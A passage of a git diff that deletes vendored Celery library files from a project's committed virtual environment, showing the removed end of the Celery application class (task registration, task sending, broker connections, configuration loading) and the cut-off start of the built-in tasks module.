'celery.app.amqp:AMQP' - backend_cls = None - events_cls = 'celery.app.events:Events' - loader_cls = None - log_cls = 'celery.app.log:Logging' - control_cls = 'celery.app.control:Control' - task_cls = 'celery.app.task:Task' - registry_cls = 'celery.app.registry:TaskRegistry' - - #: Thread local storage. - _local = None - _fixups = None - _pool = None - _conf = None - _after_fork_registered = False - - #: Signal sent when app is loading configuration. - on_configure = None - - #: Signal sent after app has prepared the configuration. - on_after_configure = None - - #: Signal sent after app has been finalized. - on_after_finalize = None - - #: Signal sent by every new process after fork. - on_after_fork = None - - def __init__(self, main=None, loader=None, backend=None, - amqp=None, events=None, log=None, control=None, - set_as_current=True, tasks=None, broker=None, include=None, - changes=None, config_source=None, fixups=None, task_cls=None, - autofinalize=True, namespace=None, strict_typing=True, - **kwargs): - - self._local = threading.local() - self._backend_cache = None - - self.clock = LamportClock() - self.main = main - self.amqp_cls = amqp or self.amqp_cls - self.events_cls = events or self.events_cls - self.loader_cls = loader or self._get_default_loader() - self.log_cls = log or self.log_cls - self.control_cls = control or self.control_cls - self._custom_task_cls_used = ( - # Custom task class provided as argument - bool(task_cls) - # subclass of Celery with a task_cls attribute - or self.__class__ is not Celery and hasattr(self.__class__, 'task_cls') - ) - self.task_cls = task_cls or self.task_cls - self.set_as_current = set_as_current - self.registry_cls = symbol_by_name(self.registry_cls) - self.user_options = defaultdict(set) - self.steps = defaultdict(set) - self.autofinalize = autofinalize - self.namespace = namespace - self.strict_typing = strict_typing - - self.configured = False - self._config_source = config_source - self._pending_defaults = deque() - self._pending_periodic_tasks = deque() - - self.finalized = False - self._finalize_mutex = threading.RLock() - self._pending = deque() - self._tasks = tasks - if not isinstance(self._tasks, TaskRegistry): - self._tasks = self.registry_cls(self._tasks or {}) - - # If the class defines a custom __reduce_args__ we need to use - # the old way of pickling apps: pickling a list of - # args instead of the new way that pickles a dict of keywords. - self._using_v1_reduce = app_has_custom(self, '__reduce_args__') - - # these options are moved to the config to - # simplify pickling of the app object. - self._preconf = changes or {} - self._preconf_set_by_auto = set() - self.__autoset('broker_url', broker) - self.__autoset('result_backend', backend) - self.__autoset('include', include) - - for key, value in kwargs.items(): - self.__autoset(key, value) - - self._conf = Settings( - PendingConfiguration( - self._preconf, self._finalize_pending_conf), - prefix=self.namespace, - keys=(_old_key_to_new, _new_key_to_old), - ) - - # - Apply fix-ups. - self.fixups = set(self.builtin_fixups) if fixups is None else fixups - # ...store fixup instances in _fixups to keep weakrefs alive. - self._fixups = [symbol_by_name(fixup)(self) for fixup in self.fixups] - - if self.set_as_current: - self.set_current() - - # Signals - if self.on_configure is None: - # used to be a method pre 4.0 - self.on_configure = Signal(name='app.on_configure') - self.on_after_configure = Signal( - name='app.on_after_configure', - providing_args={'source'}, - ) - self.on_after_finalize = Signal(name='app.on_after_finalize') - self.on_after_fork = Signal(name='app.on_after_fork') - - # Boolean signalling, whether fast_trace_task are enabled. - # this attribute is set in celery.worker.trace and checked by celery.worker.request - self.use_fast_trace_task = False - - self.on_init() - _register_app(self) - - def _get_default_loader(self): - # the --loader command-line argument sets the environment variable. - return ( - os.environ.get('CELERY_LOADER') or - self.loader_cls or - 'celery.loaders.app:AppLoader' - ) - - def on_init(self): - """Optional callback called at init.""" - - def __autoset(self, key, value): - if value is not None: - self._preconf[key] = value - self._preconf_set_by_auto.add(key) - - def set_current(self): - """Make this the current app for this thread.""" - _set_current_app(self) - - def set_default(self): - """Make this the default app for all threads.""" - set_default_app(self) - - def _ensure_after_fork(self): - if not self._after_fork_registered: - self._after_fork_registered = True - if register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_app) - - def close(self): - """Clean up after the application. - - Only necessary for dynamically created apps, and you should - probably use the :keyword:`with` statement instead. - - Example: - >>> with Celery(set_as_current=False) as app: - ... with app.connection_for_write() as conn: - ... pass - """ - self._pool = None - _deregister_app(self) - - def start(self, argv=None): - """Run :program:`celery` using `argv`. - - Uses :data:`sys.argv` if `argv` is not specified. - """ - from celery.bin.celery import celery - - celery.params[0].default = self - - if argv is None: - argv = sys.argv - - try: - celery.main(args=argv, standalone_mode=False) - except Exit as e: - return e.exit_code - finally: - celery.params[0].default = None - - def worker_main(self, argv=None): - """Run :program:`celery worker` using `argv`. - - Uses :data:`sys.argv` if `argv` is not specified. - """ - if argv is None: - argv = sys.argv - - if 'worker' not in argv: - raise ValueError( - "The worker sub-command must be specified in argv.\n" - "Use app.start() to programmatically start other commands." - ) - - self.start(argv=argv) - - def task(self, *args, **opts): - """Decorator to create a task class out of any callable. - - See :ref:`Task options` for a list of the - arguments that can be passed to this decorator. - - Examples: - .. code-block:: python - - @app.task - def refresh_feed(url): - store_feed(feedparser.parse(url)) - - with setting extra options: - - .. code-block:: python - - @app.task(exchange='feeds') - def refresh_feed(url): - return store_feed(feedparser.parse(url)) - - Note: - App Binding: For custom apps the task decorator will return - a proxy object, so that the act of creating the task is not - performed until the task is used or the task registry is accessed. - - If you're depending on binding to be deferred, then you must - not access any attributes on the returned object until the - application is fully set up (finalized). - """ - if USING_EXECV and opts.get('lazy', True): - # When using execv the task in the original module will point to a - # different app, so doing things like 'add.request' will point to - # a different task instance. This makes sure it will always use - # the task instance from the current app. - # Really need a better solution for this :( - from . import shared_task - return shared_task(*args, lazy=False, **opts) - - def inner_create_task_cls(shared=True, filter=None, lazy=True, **opts): - _filt = filter - - def _create_task_cls(fun): - if shared: - def cons(app): - return app._task_from_fun(fun, **opts) - - cons.__name__ = fun.__name__ - connect_on_app_finalize(cons) - if not lazy or self.finalized: - ret = self._task_from_fun(fun, **opts) - else: - # return a proxy object that evaluates on first use - ret = PromiseProxy(self._task_from_fun, (fun,), opts, - __doc__=fun.__doc__) - self._pending.append(ret) - if _filt: - return _filt(ret) - return ret - - return _create_task_cls - - if len(args) == 1: - if callable(args[0]): - return inner_create_task_cls(**opts)(*args) - raise TypeError('argument 1 to @task() must be a callable') - if args: - raise TypeError( - '@task() takes exactly 1 argument ({} given)'.format( - sum([len(args), len(opts)]))) - return inner_create_task_cls(**opts) - - def type_checker(self, fun, bound=False): - return staticmethod(head_from_fun(fun, bound=bound)) - - def _task_from_fun( - self, - fun, - name=None, - base=None, - bind=False, - pydantic: bool = False, - pydantic_strict: bool = False, - pydantic_context: typing.Optional[typing.Dict[str, typing.Any]] = None, - pydantic_dump_kwargs: typing.Optional[typing.Dict[str, typing.Any]] = None, - **options, - ): - if not self.finalized and not self.autofinalize: - raise RuntimeError('Contract breach: app not finalized') - name = name or self.gen_task_name(fun.__name__, fun.__module__) - base = base or self.Task - - if name not in self._tasks: - if pydantic is True: - fun = pydantic_wrapper(self, fun, name, pydantic_strict, pydantic_context, pydantic_dump_kwargs) - - run = fun if bind else staticmethod(fun) - task = type(fun.__name__, (base,), dict({ - 'app': self, - 'name': name, - 'run': run, - '_decorated': True, - '__doc__': fun.__doc__, - '__module__': fun.__module__, - '__annotations__': fun.__annotations__, - '__header__': self.type_checker(fun, bound=bind), - '__wrapped__': run}, **options))() - # for some reason __qualname__ cannot be set in type() - # so we have to set it here. - try: - task.__qualname__ = fun.__qualname__ - except AttributeError: - pass - self._tasks[task.name] = task - task.bind(self) # connects task to this app - add_autoretry_behaviour(task, **options) - else: - task = self._tasks[name] - return task - - def register_task(self, task, **options): - """Utility for registering a task-based class. - - Note: - This is here for compatibility with old Celery 1.0 - style task classes, you should not need to use this for - new projects. - """ - task = inspect.isclass(task) and task() or task - if not task.name: - task_cls = type(task) - task.name = self.gen_task_name( - task_cls.__name__, task_cls.__module__) - add_autoretry_behaviour(task, **options) - self.tasks[task.name] = task - task._app = self - task.bind(self) - return task - - def gen_task_name(self, name, module): - return gen_task_name(self, name, module) - - def finalize(self, auto=False): - """Finalize the app. - - This loads built-in tasks, evaluates pending task decorators, - reads configuration, etc. - """ - with self._finalize_mutex: - if not self.finalized: - if auto and not self.autofinalize: - raise RuntimeError('Contract breach: app not finalized') - self.finalized = True - _announce_app_finalized(self) - - pending = self._pending - while pending: - maybe_evaluate(pending.popleft()) - - for task in self._tasks.values(): - task.bind(self) - - self.on_after_finalize.send(sender=self) - - def add_defaults(self, fun): - """Add default configuration from dict ``d``. - - If the argument is a callable function then it will be regarded - as a promise, and it won't be loaded until the configuration is - actually needed. - - This method can be compared to: - - .. code-block:: pycon - - >>> celery.conf.update(d) - - with a difference that 1) no copy will be made and 2) the dict will - not be transferred when the worker spawns child processes, so - it's important that the same configuration happens at import time - when pickle restores the object on the other side. - """ - if not callable(fun): - d, fun = fun, lambda: d - if self.configured: - return self._conf.add_defaults(fun()) - self._pending_defaults.append(fun) - - def config_from_object(self, obj, - silent=False, force=False, namespace=None): - """Read configuration from object. - - Object is either an actual object or the name of a module to import. - - Example: - >>> celery.config_from_object('myapp.celeryconfig') - - >>> from myapp import celeryconfig - >>> celery.config_from_object(celeryconfig) - - Arguments: - silent (bool): If true then import errors will be ignored. - force (bool): Force reading configuration immediately. - By default the configuration will be read only when required. - """ - self._config_source = obj - self.namespace = namespace or self.namespace - if force or self.configured: - self._conf = None - if self.loader.config_from_object(obj, silent=silent): - return self.conf - - def config_from_envvar(self, variable_name, silent=False, force=False): - """Read configuration from environment variable. - - The value of the environment variable must be the name - of a module to import. - - Example: - >>> os.environ['CELERY_CONFIG_MODULE'] = 'myapp.celeryconfig' - >>> celery.config_from_envvar('CELERY_CONFIG_MODULE') - """ - module_name = os.environ.get(variable_name) - if not module_name: - if silent: - return False - raise ImproperlyConfigured( - ERR_ENVVAR_NOT_SET.strip().format(variable_name)) - return self.config_from_object(module_name, silent=silent, force=force) - - def config_from_cmdline(self, argv, namespace='celery'): - self._conf.update( - self.loader.cmdline_config_parser(argv, namespace) - ) - - def setup_security(self, allowed_serializers=None, key=None, key_password=None, cert=None, - store=None, digest=DEFAULT_SECURITY_DIGEST, - serializer='json'): - """Setup the message-signing serializer. - - This will affect all application instances (a global operation). - - Disables untrusted serializers and if configured to use the ``auth`` - serializer will register the ``auth`` serializer with the provided - settings into the Kombu serializer registry. - - Arguments: - allowed_serializers (Set[str]): List of serializer names, or - content_types that should be exempt from being disabled. - key (str): Name of private key file to use. - Defaults to the :setting:`security_key` setting. - key_password (bytes): Password to decrypt the private key. - Defaults to the :setting:`security_key_password` setting. - cert (str): Name of certificate file to use. - Defaults to the :setting:`security_certificate` setting. - store (str): Directory containing certificates. - Defaults to the :setting:`security_cert_store` setting. - digest (str): Digest algorithm used when signing messages. - Default is ``sha256``. - serializer (str): Serializer used to encode messages after - they've been signed. See :setting:`task_serializer` for - the serializers supported. Default is ``json``. - """ - from celery.security import setup_security - return setup_security(allowed_serializers, key, key_password, cert, - store, digest, serializer, app=self) - - def autodiscover_tasks(self, packages=None, - related_name='tasks', force=False): - """Auto-discover task modules. - - Searches a list of packages for a "tasks.py" module (or use - related_name argument). - - If the name is empty, this will be delegated to fix-ups (e.g., Django). - - For example if you have a directory layout like this: - - .. code-block:: text - - foo/__init__.py - tasks.py - models.py - - bar/__init__.py - tasks.py - models.py - - baz/__init__.py - models.py - - Then calling ``app.autodiscover_tasks(['foo', 'bar', 'baz'])`` will - result in the modules ``foo.tasks`` and ``bar.tasks`` being imported. - - Arguments: - packages (List[str]): List of packages to search. - This argument may also be a callable, in which case the - value returned is used (for lazy evaluation). - related_name (Optional[str]): The name of the module to find. Defaults - to "tasks": meaning "look for 'module.tasks' for every - module in ``packages``.". If ``None`` will only try to import - the package, i.e. "look for 'module'". - force (bool): By default this call is lazy so that the actual - auto-discovery won't happen until an application imports - the default modules. Forcing will cause the auto-discovery - to happen immediately. - """ - if force: - return self._autodiscover_tasks(packages, related_name) - signals.import_modules.connect(starpromise( - self._autodiscover_tasks, packages, related_name, - ), weak=False, sender=self) - - def _autodiscover_tasks(self, packages, related_name, **kwargs): - if packages: - return self._autodiscover_tasks_from_names(packages, related_name) - return self._autodiscover_tasks_from_fixups(related_name) - - def _autodiscover_tasks_from_names(self, packages, related_name): - # packages argument can be lazy - return self.loader.autodiscover_tasks( - packages() if callable(packages) else packages, related_name, - ) - - def _autodiscover_tasks_from_fixups(self, related_name): - return self._autodiscover_tasks_from_names([ - pkg for fixup in self._fixups - if hasattr(fixup, 'autodiscover_tasks') - for pkg in fixup.autodiscover_tasks() - ], related_name=related_name) - - def send_task(self, name, args=None, kwargs=None, countdown=None, - eta=None, task_id=None, producer=None, connection=None, - router=None, result_cls=None, expires=None, - publisher=None, link=None, link_error=None, - add_to_parent=True, group_id=None, group_index=None, - retries=0, chord=None, - reply_to=None, time_limit=None, soft_time_limit=None, - root_id=None, parent_id=None, route_name=None, - shadow=None, chain=None, task_type=None, replaced_task_nesting=0, **options): - """Send task by name. - - Supports the same arguments as :meth:`@-Task.apply_async`. - - Arguments: - name (str): Name of task to call (e.g., `"tasks.add"`). - result_cls (AsyncResult): Specify custom result class. - """ - parent = have_parent = None - amqp = self.amqp - task_id = task_id or uuid() - producer = producer or publisher # XXX compat - router = router or amqp.router - conf = self.conf - if conf.task_always_eager: # pragma: no cover - warnings.warn(AlwaysEagerIgnored( - 'task_always_eager has no effect on send_task', - ), stacklevel=2) - - ignore_result = options.pop('ignore_result', False) - options = router.route( - options, route_name or name, args, kwargs, task_type) - - driver_type = self.producer_pool.connections.connection.transport.driver_type - - if (eta or countdown) and detect_quorum_queues(self, driver_type)[0]: - - queue = options.get("queue") - exchange_type = queue.exchange.type if queue else options["exchange_type"] - routing_key = queue.routing_key if queue else options["routing_key"] - exchange_name = queue.exchange.name if queue else options["exchange"] - - if exchange_type != 'direct': - if eta: - if isinstance(eta, str): - eta = isoparse(eta) - countdown = (maybe_make_aware(eta) - self.now()).total_seconds() - - if countdown: - if countdown > 0: - routing_key = calculate_routing_key(int(countdown), routing_key) - exchange = Exchange( - 'celery_delayed_27', - type='topic', - ) - options.pop("queue", None) - options['routing_key'] = routing_key - options['exchange'] = exchange - - else: - logger.warning( - 'Direct exchanges are not supported with native delayed delivery.\n' - f'{exchange_name} is a direct exchange but should be a topic exchange or ' - 'a fanout exchange in order for native delayed delivery to work properly.\n' - 'If quorum queues are used, this task may block the worker process until the ETA arrives.' - ) - - if expires is not None: - if isinstance(expires, datetime): - expires_s = (maybe_make_aware( - expires) - self.now()).total_seconds() - elif isinstance(expires, str): - expires_s = (maybe_make_aware( - isoparse(expires)) - self.now()).total_seconds() - else: - expires_s = expires - - if expires_s < 0: - logger.warning( - f"{task_id} has an expiration date in the past ({-expires_s}s ago).\n" - "We assume this is intended and so we have set the " - "expiration date to 0 instead.\n" - "According to RabbitMQ's documentation:\n" - "\"Setting the TTL to 0 causes messages to be expired upon " - "reaching a queue unless they can be delivered to a " - "consumer immediately.\"\n" - "If this was unintended, please check the code which " - "published this task." - ) - expires_s = 0 - - options["expiration"] = expires_s - - if not root_id or not parent_id: - parent = self.current_worker_task - if parent: - if not root_id: - root_id = parent.request.root_id or parent.request.id - if not parent_id: - parent_id = parent.request.id - - if conf.task_inherit_parent_priority: - options.setdefault('priority', - parent.request.delivery_info.get('priority')) - - # alias for 'task_as_v2' - message = amqp.create_task_message( - task_id, name, args, kwargs, countdown, eta, group_id, group_index, - expires, retries, chord, - maybe_list(link), maybe_list(link_error), - reply_to or self.thread_oid, time_limit, soft_time_limit, - self.conf.task_send_sent_event, - root_id, parent_id, shadow, chain, - ignore_result=ignore_result, - replaced_task_nesting=replaced_task_nesting, **options - ) - - stamped_headers = options.pop('stamped_headers', []) - for stamp in stamped_headers: - options.pop(stamp) - - if connection: - producer = amqp.Producer(connection, auto_declare=False) - - with self.producer_or_acquire(producer) as P: - with P.connection._reraise_as_library_errors(): - if not ignore_result: - self.backend.on_task_call(P, task_id) - amqp.send_task_message(P, name, message, **options) - result = (result_cls or self.AsyncResult)(task_id) - # We avoid using the constructor since a custom result class - # can be used, in which case the constructor may still use - # the old signature. - result.ignored = ignore_result - - if add_to_parent: - if not have_parent: - parent, have_parent = self.current_worker_task, True - if parent: - parent.add_trail(result) - return result - - def connection_for_read(self, url=None, **kwargs): - """Establish connection used for consuming. - - See Also: - :meth:`connection` for supported arguments. - """ - return self._connection(url or self.conf.broker_read_url, **kwargs) - - def connection_for_write(self, url=None, **kwargs): - """Establish connection used for producing. - - See Also: - :meth:`connection` for supported arguments. - """ - return self._connection(url or self.conf.broker_write_url, **kwargs) - - def connection(self, hostname=None, userid=None, password=None, - virtual_host=None, port=None, ssl=None, - connect_timeout=None, transport=None, - transport_options=None, heartbeat=None, - login_method=None, failover_strategy=None, **kwargs): - """Establish a connection to the message broker. - - Please use :meth:`connection_for_read` and - :meth:`connection_for_write` instead, to convey the intent - of use for this connection. - - Arguments: - url: Either the URL or the hostname of the broker to use. - hostname (str): URL, Hostname/IP-address of the broker. - If a URL is used, then the other argument below will - be taken from the URL instead. - userid (str): Username to authenticate as. - password (str): Password to authenticate with - virtual_host (str): Virtual host to use (domain). - port (int): Port to connect to. - ssl (bool, Dict): Defaults to the :setting:`broker_use_ssl` - setting. - transport (str): defaults to the :setting:`broker_transport` - setting. - transport_options (Dict): Dictionary of transport specific options. - heartbeat (int): AMQP Heartbeat in seconds (``pyamqp`` only). - login_method (str): Custom login method to use (AMQP only). - failover_strategy (str, Callable): Custom failover strategy. - **kwargs: Additional arguments to :class:`kombu.Connection`. - - Returns: - kombu.Connection: the lazy connection instance. - """ - return self.connection_for_write( - hostname or self.conf.broker_write_url, - userid=userid, password=password, - virtual_host=virtual_host, port=port, ssl=ssl, - connect_timeout=connect_timeout, transport=transport, - transport_options=transport_options, heartbeat=heartbeat, - login_method=login_method, failover_strategy=failover_strategy, - **kwargs - ) - - def _connection(self, url, userid=None, password=None, - virtual_host=None, port=None, ssl=None, - connect_timeout=None, transport=None, - transport_options=None, heartbeat=None, - login_method=None, failover_strategy=None, **kwargs): - conf = self.conf - return self.amqp.Connection( - url, - userid or conf.broker_user, - password or conf.broker_password, - virtual_host or conf.broker_vhost, - port or conf.broker_port, - transport=transport or conf.broker_transport, - ssl=self.either('broker_use_ssl', ssl), - heartbeat=heartbeat, - login_method=login_method or conf.broker_login_method, - failover_strategy=( - failover_strategy or conf.broker_failover_strategy - ), - transport_options=dict( - conf.broker_transport_options, **transport_options or {} - ), - connect_timeout=self.either( - 'broker_connection_timeout', connect_timeout - ), - ) - - broker_connection = connection - - def _acquire_connection(self, pool=True): - """Helper for :meth:`connection_or_acquire`.""" - if pool: - return self.pool.acquire(block=True) - return self.connection_for_write() - - def connection_or_acquire(self, connection=None, pool=True, *_, **__): - """Context used to acquire a connection from the pool. - - For use within a :keyword:`with` statement to get a connection - from the pool if one is not already provided. - - Arguments: - connection (kombu.Connection): If not provided, a connection - will be acquired from the connection pool. - """ - return FallbackContext(connection, self._acquire_connection, pool=pool) - - default_connection = connection_or_acquire # XXX compat - - def producer_or_acquire(self, producer=None): - """Context used to acquire a producer from the pool. - - For use within a :keyword:`with` statement to get a producer - from the pool if one is not already provided - - Arguments: - producer (kombu.Producer): If not provided, a producer - will be acquired from the producer pool. - """ - return FallbackContext( - producer, self.producer_pool.acquire, block=True, - ) - - default_producer = producer_or_acquire # XXX compat - - def prepare_config(self, c): - """Prepare configuration before it is merged with the defaults.""" - return find_deprecated_settings(c) - - def now(self): - """Return the current time and date as a datetime.""" - now_in_utc = to_utc(datetime.now(datetime_timezone.utc)) - return now_in_utc.astimezone(self.timezone) - - def select_queues(self, queues=None): - """Select subset of queues. - - Arguments: - queues (Sequence[str]): a list of queue names to keep. - """ - return self.amqp.queues.select(queues) - - def either(self, default_key, *defaults): - """Get key from configuration or use default values. - - Fallback to the value of a configuration key if none of the - `*values` are true. - """ - return first(None, [ - first(None, defaults), starpromise(self.conf.get, default_key), - ]) - - def bugreport(self): - """Return information useful in bug reports.""" - return bugreport(self) - - def _get_backend(self): - backend, url = backends.by_url( - self.backend_cls or self.conf.result_backend, - self.loader) - return backend(app=self, url=url) - - def _finalize_pending_conf(self): - """Get config value by key and finalize loading the configuration. - - Note: - This is used by PendingConfiguration: - as soon as you access a key the configuration is read. - """ - try: - conf = self._conf = self._load_config() - except AttributeError as err: - # AttributeError is not propagated, it is "handled" by - # PendingConfiguration parent class. This causes - # confusing RecursionError. - raise ModuleNotFoundError(*err.args) from err - - return conf - - def _load_config(self): - if isinstance(self.on_configure, Signal): - self.on_configure.send(sender=self) - else: - # used to be a method pre 4.0 - self.on_configure() - if self._config_source: - self.loader.config_from_object(self._config_source) - self.configured = True - settings = detect_settings( - self.prepare_config(self.loader.conf), self._preconf, - ignore_keys=self._preconf_set_by_auto, prefix=self.namespace, - ) - if self._conf is not None: - # replace in place, as someone may have referenced app.conf, - # done some changes, accessed a key, and then try to make more - # changes to the reference and not the finalized value. - self._conf.swap_with(settings) - else: - self._conf = settings - - # load lazy config dict initializers. - pending_def = self._pending_defaults - while pending_def: - self._conf.add_defaults(maybe_evaluate(pending_def.popleft()())) - - # load lazy periodic tasks - pending_beat = self._pending_periodic_tasks - while pending_beat: - periodic_task_args, periodic_task_kwargs = pending_beat.popleft() - self._add_periodic_task(*periodic_task_args, **periodic_task_kwargs) - - self.on_after_configure.send(sender=self, source=self._conf) - return self._conf - - def _after_fork(self): - self._pool = None - try: - self.__dict__['amqp']._producer_pool = None - except (AttributeError, KeyError): - pass - self.on_after_fork.send(sender=self) - - def signature(self, *args, **kwargs): - """Return a new :class:`~celery.Signature` bound to this app.""" - kwargs['app'] = self - return self._canvas.signature(*args, **kwargs) - - def add_periodic_task(self, schedule, sig, - args=(), kwargs=(), name=None, **opts): - """ - Add a periodic task to beat schedule. - - Celery beat store tasks based on `sig` or `name` if provided. Adding the - same signature twice make the second task override the first one. To - avoid the override, use distinct `name` for them. - """ - key, entry = self._sig_to_periodic_task_entry( - schedule, sig, args, kwargs, name, **opts) - if self.configured: - self._add_periodic_task(key, entry, name=name) - else: - self._pending_periodic_tasks.append([(key, entry), {"name": name}]) - return key - - def _sig_to_periodic_task_entry(self, schedule, sig, - args=(), kwargs=None, name=None, **opts): - kwargs = {} if not kwargs else kwargs - sig = (sig.clone(args, kwargs) - if isinstance(sig, abstract.CallableSignature) - else self.signature(sig.name, args, kwargs)) - return name or repr(sig), { - 'schedule': schedule, - 'task': sig.name, - 'args': sig.args, - 'kwargs': sig.kwargs, - 'options': dict(sig.options, **opts), - } - - def _add_periodic_task(self, key, entry, name=None): - if name is None and key in self._conf.beat_schedule: - logger.warning( - f"Periodic task key='{key}' shadowed a previous unnamed periodic task." - " Pass a name kwarg to add_periodic_task to silence this warning." - ) - - self._conf.beat_schedule[key] = entry - - def create_task_cls(self): - """Create a base task class bound to this app.""" - return self.subclass_with_self( - self.task_cls, name='Task', attribute='_app', - keep_reduce=True, abstract=True, - ) - - def subclass_with_self(self, Class, name=None, attribute='app', - reverse=None, keep_reduce=False, **kw): - """Subclass an app-compatible class. - - App-compatible means that the class has a class attribute that - provides the default app it should use, for example: - ``class Foo: app = None``. - - Arguments: - Class (type): The app-compatible class to subclass. - name (str): Custom name for the target class. - attribute (str): Name of the attribute holding the app, - Default is 'app'. - reverse (str): Reverse path to this object used for pickling - purposes. For example, to get ``app.AsyncResult``, - use ``"AsyncResult"``. - keep_reduce (bool): If enabled a custom ``__reduce__`` - implementation won't be provided. - """ - Class = symbol_by_name(Class) - reverse = reverse if reverse else Class.__name__ - - def __reduce__(self): - return _unpickle_appattr, (reverse, self.__reduce_args__()) - - attrs = dict( - {attribute: self}, - __module__=Class.__module__, - __doc__=Class.__doc__, - **kw) - if not keep_reduce: - attrs['__reduce__'] = __reduce__ - - return type(name or Class.__name__, (Class,), attrs) - - def _rgetattr(self, path): - return attrgetter(path)(self) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def __repr__(self): - return f'<{type(self).__name__} {appstr(self)}>' - - def __reduce__(self): - if self._using_v1_reduce: - return self.__reduce_v1__() - return (_unpickle_app_v2, (self.__class__, self.__reduce_keys__())) - - def __reduce_v1__(self): - # Reduce only pickles the configuration changes, - # so the default configuration doesn't have to be passed - # between processes. - return ( - _unpickle_app, - (self.__class__, self.Pickler) + self.__reduce_args__(), - ) - - def __reduce_keys__(self): - """Keyword arguments used to reconstruct the object when unpickling.""" - return { - 'main': self.main, - 'changes': - self._conf.changes if self.configured else self._preconf, - 'loader': self.loader_cls, - 'backend': self.backend_cls, - 'amqp': self.amqp_cls, - 'events': self.events_cls, - 'log': self.log_cls, - 'control': self.control_cls, - 'fixups': self.fixups, - 'config_source': self._config_source, - 'task_cls': self.task_cls, - 'namespace': self.namespace, - } - - def __reduce_args__(self): - """Deprecated method, please use :meth:`__reduce_keys__` instead.""" - return (self.main, self._conf.changes if self.configured else {}, - self.loader_cls, self.backend_cls, self.amqp_cls, - self.events_cls, self.log_cls, self.control_cls, - False, self._config_source) - - @cached_property - def Worker(self): - """Worker application. - - See Also: - :class:`~@Worker`. - """ - return self.subclass_with_self('celery.apps.worker:Worker') - - @cached_property - def WorkController(self, **kwargs): - """Embeddable worker. - - See Also: - :class:`~@WorkController`. - """ - return self.subclass_with_self('celery.worker:WorkController') - - @cached_property - def Beat(self, **kwargs): - """:program:`celery beat` scheduler application. - - See Also: - :class:`~@Beat`. - """ - return self.subclass_with_self('celery.apps.beat:Beat') - - @cached_property - def Task(self): - """Base task class for this app.""" - return self.create_task_cls() - - @cached_property - def annotations(self): - return prepare_annotations(self.conf.task_annotations) - - @cached_property - def AsyncResult(self): - """Create new result instance. - - See Also: - :class:`celery.result.AsyncResult`. - """ - return self.subclass_with_self('celery.result:AsyncResult') - - @cached_property - def ResultSet(self): - return self.subclass_with_self('celery.result:ResultSet') - - @cached_property - def GroupResult(self): - """Create new group result instance. - - See Also: - :class:`celery.result.GroupResult`. - """ - return self.subclass_with_self('celery.result:GroupResult') - - @property - def pool(self): - """Broker connection pool: :class:`~@pool`. - - Note: - This attribute is not related to the workers concurrency pool. - """ - if self._pool is None: - self._ensure_after_fork() - limit = self.conf.broker_pool_limit - pools.set_limit(limit) - self._pool = pools.connections[self.connection_for_write()] - return self._pool - - @property - def current_task(self): - """Instance of task being executed, or :const:`None`.""" - return _task_stack.top - - @property - def current_worker_task(self): - """The task currently being executed by a worker or :const:`None`. - - Differs from :data:`current_task` in that it's not affected - by tasks calling other tasks directly, or eagerly. - """ - return get_current_worker_task() - - @cached_property - def oid(self): - """Universally unique identifier for this app.""" - # since 4.0: thread.get_ident() is not included when - # generating the process id. This is due to how the RPC - # backend now dedicates a single thread to receive results, - # which would not work if each thread has a separate id. - return oid_from(self, threads=False) - - @property - def thread_oid(self): - """Per-thread unique identifier for this app.""" - try: - return self._local.oid - except AttributeError: - self._local.oid = new_oid = oid_from(self, threads=True) - return new_oid - - @cached_property - def amqp(self): - """AMQP related functionality: :class:`~@amqp`.""" - return instantiate(self.amqp_cls, app=self) - - @property - def _backend(self): - """A reference to the backend object - - Uses self._backend_cache if it is thread safe. - Otherwise, use self._local - """ - if self._backend_cache is not None: - return self._backend_cache - return getattr(self._local, "backend", None) - - @_backend.setter - def _backend(self, backend): - """Set the backend object on the app""" - if backend.thread_safe: - self._backend_cache = backend - else: - self._local.backend = backend - - @property - def backend(self): - """Current backend instance.""" - if self._backend is None: - self._backend = self._get_backend() - return self._backend - - @property - def conf(self): - """Current configuration.""" - if self._conf is None: - self._conf = self._load_config() - return self._conf - - @conf.setter - def conf(self, d): - self._conf = d - - @cached_property - def control(self): - """Remote control: :class:`~@control`.""" - return instantiate(self.control_cls, app=self) - - @cached_property - def events(self): - """Consuming and sending events: :class:`~@events`.""" - return instantiate(self.events_cls, app=self) - - @cached_property - def loader(self): - """Current loader instance.""" - return get_loader_cls(self.loader_cls)(app=self) - - @cached_property - def log(self): - """Logging: :class:`~@log`.""" - return instantiate(self.log_cls, app=self) - - @cached_property - def _canvas(self): - from celery import canvas - return canvas - - @cached_property - def tasks(self): - """Task registry. - - Warning: - Accessing this attribute will also auto-finalize the app. - """ - self.finalize(auto=True) - return self._tasks - - @property - def producer_pool(self): - return self.amqp.producer_pool - - def uses_utc_timezone(self): - """Check if the application uses the UTC timezone.""" - return self.timezone == timezone.utc - - @cached_property - def timezone(self): - """Current timezone for this app. - - This is a cached property taking the time zone from the - :setting:`timezone` setting. - """ - conf = self.conf - if not conf.timezone: - if conf.enable_utc: - return timezone.utc - else: - return timezone.local - return timezone.get_timezone(conf.timezone) - - -App = Celery # XXX compat diff --git a/backend/venv/Lib/site-packages/celery/app/builtins.py b/backend/venv/Lib/site-packages/celery/app/builtins.py deleted file mode 100644 index 1a79c409..00000000 --- a/backend/venv/Lib/site-packages/celery/app/builtins.py +++ /dev/null @@ -1,187 +0,0 @@ -"""Built-in Tasks. - -The built-in tasks are always available in all app instances. -""" -from celery._state import connect_on_app_finalize -from celery.utils.log import get_logger - -__all__ = () -logger = get_logger(__name__) - - -@connect_on_app_finalize -def add_backend_cleanup_task(app): - """Task used to clean up expired results. - - If the configured backend requires periodic cleanup this task is also - automatically configured to run every day at 4am (requires - :program:`celery beat` to be running). - """ - @app.task(name='celery.backend_cleanup', shared=False, lazy=False) - def backend_cleanup(): - app.backend.cleanup() - return backend_cleanup - - -@connect_on_app_finalize -def add_accumulate_task(app): - """Task used by Task.replace when replacing task with group.""" - @app.task(bind=True, name='celery.accumulate', shared=False, lazy=False) - def accumulate(self, *args, **kwargs): - index = kwargs.get('index') - return args[index] if index is not None else args - return accumulate - - -@connect_on_app_finalize -def add_unlock_chord_task(app): - """Task used by result backends without native chord support. - - Will joins chord by creating a task chain polling the header - for completion. - """ - from celery.canvas import maybe_signature - from celery.exceptions import ChordError - from celery.result import allow_join_result, result_from_tuple - - @app.task(name='celery.chord_unlock', max_retries=None, shared=False, - default_retry_delay=app.conf.result_chord_retry_interval, ignore_result=True, lazy=False, bind=True) - def unlock_chord(self, group_id, 